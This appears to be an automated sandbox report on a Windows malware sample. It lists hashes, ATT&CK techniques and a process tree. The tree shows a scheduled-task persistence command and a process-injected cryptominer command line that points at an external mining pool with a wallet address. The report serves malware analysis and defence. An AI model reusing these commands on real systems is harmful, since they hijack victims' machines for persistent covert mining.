cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

Analysis

max time kernel
97s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27/10/2022, 08:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
80c4295d0116b0862ac0e56a8331be3c.exe
Size 837KB
Sample221027-kap1vabec9
SHA256 cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d
MD5 80c4295d0116b0862ac0e56a8331be3c
SHA1 f3186c21cf7f4fd73b455c83949b7bf05bd4cd17
SHA512 cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08
SSDEEP 6144:XIRmE/X7jGO8QdFKNEvLtRr0NSYb4Tb7+6sh3ElQ+fu5mbw9H9TH2v4ZEOg3qRqe:knJTzdbath35584mOAqk3+o8O8oo
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4104	VCXRYF.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	VCXRYF.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4104 set thread context of 3044	4104	VCXRYF.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1292	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1136	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4104	VCXRYF.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	80c4295d0116b0862ac0e56a8331be3c.exe
Token: SeDebugPrivilege	4104	VCXRYF.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 4236	1944	80c4295d0116b0862ac0e56a8331be3c.exe	82
PID 1944 wrote to memory of 4236	1944	80c4295d0116b0862ac0e56a8331be3c.exe	82
PID 4236 wrote to memory of 1136	4236	cmd.exe	84
PID 4236 wrote to memory of 1136	4236	cmd.exe	84
PID 4236 wrote to memory of 4104	4236	cmd.exe	85
PID 4236 wrote to memory of 4104	4236	cmd.exe	85
PID 4104 wrote to memory of 4328	4104	VCXRYF.exe	86
PID 4104 wrote to memory of 4328	4104	VCXRYF.exe	86
PID 4328 wrote to memory of 1292	4328	cmd.exe	88
PID 4328 wrote to memory of 1292	4328	cmd.exe	88
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 3044 wrote to memory of 4440	3044	vbc.exe	93
PID 3044 wrote to memory of 4440	3044	vbc.exe	93

C:\Users\Admin\AppData\Local\Temp\80c4295d0116b0862ac0e56a8331be3c.exe
"C:\Users\Admin\AppData\Local\Temp\80c4295d0116b0862ac0e56a8331be3c.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7E2D.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1136
- - C:\ProgramData\Updater\VCXRYF.exe
    "C:\ProgramData\Updater\VCXRYF.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VCXRYF" /tr "C:\ProgramData\Updater\VCXRYF.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4328
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VCXRYF" /tr "C:\ProgramData\Updater\VCXRYF.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1292
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RGYwrDXJZRJD8C3PzNb2dXbpd4P3nPCyqR.work -p x -t 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        
        PID:4440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCXRYF.exe

Path C:\ProgramData\Updater\VCXRYF.exe
Size 837KB
SHA256 cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d
MD5 80c4295d0116b0862ac0e56a8331be3c
SHA1 f3186c21cf7f4fd73b455c83949b7bf05bd4cd17
SHA512 cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08
SSDEEP 6144:XIRmE/X7jGO8QdFKNEvLtRr0NSYb4Tb7+6sh3ElQ+fu5mbw9H9TH2v4ZEOg3qRqe:knJTzdbath35584mOAqk3+o8O8oo
MD5 SHA1 SHA512 SSDEEP

Submit Download

VCXRYF.exe

Path C:\ProgramData\Updater\VCXRYF.exe
Size 837KB
SHA256 cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d
MD5 80c4295d0116b0862ac0e56a8331be3c
SHA1 f3186c21cf7f4fd73b455c83949b7bf05bd4cd17
SHA512 cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08
SSDEEP 6144:XIRmE/X7jGO8QdFKNEvLtRr0NSYb4Tb7+6sh3ElQ+fu5mbw9H9TH2v4ZEOg3qRqe:knJTzdbath35584mOAqk3+o8O8oo
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp7E2D.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp7E2D.tmp.bat
Size 142B
SHA256 b690c593e5d84312ce25d8a3d05075a8aa6ca0319e7dcfac383fc28408fcb344
MD5 3af49600f4eb28f89f931bca066725d2
SHA1 6d63d1ad01380a9f4838b8b33e65482a276a7450
SHA512 b1172c3218f3dc9c67186c24eedc99d7228542beee712e4c0d241aef7f2bb2f68322ca2dc0df8464fcfbc86de2ff4b3085b8c60844ff5af8ef7d510b0ce69afd
MD5 SHA1 SHA512

Submit Download

memory/1944-136-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Download

memory/1944-150-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Download

memory/1944-132-0x0000000000E20000-0x0000000000EF6000-memory.dmp

Download

memory/3044-151-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3044-148-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3044-146-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3044-143-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3044-145-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/4104-142-0x00007FF832EE0000-0x00007FF8339A1000-memory.dmp

Download

memory/4104-149-0x00007FF832EE0000-0x00007FF8339A1000-memory.dmp

Download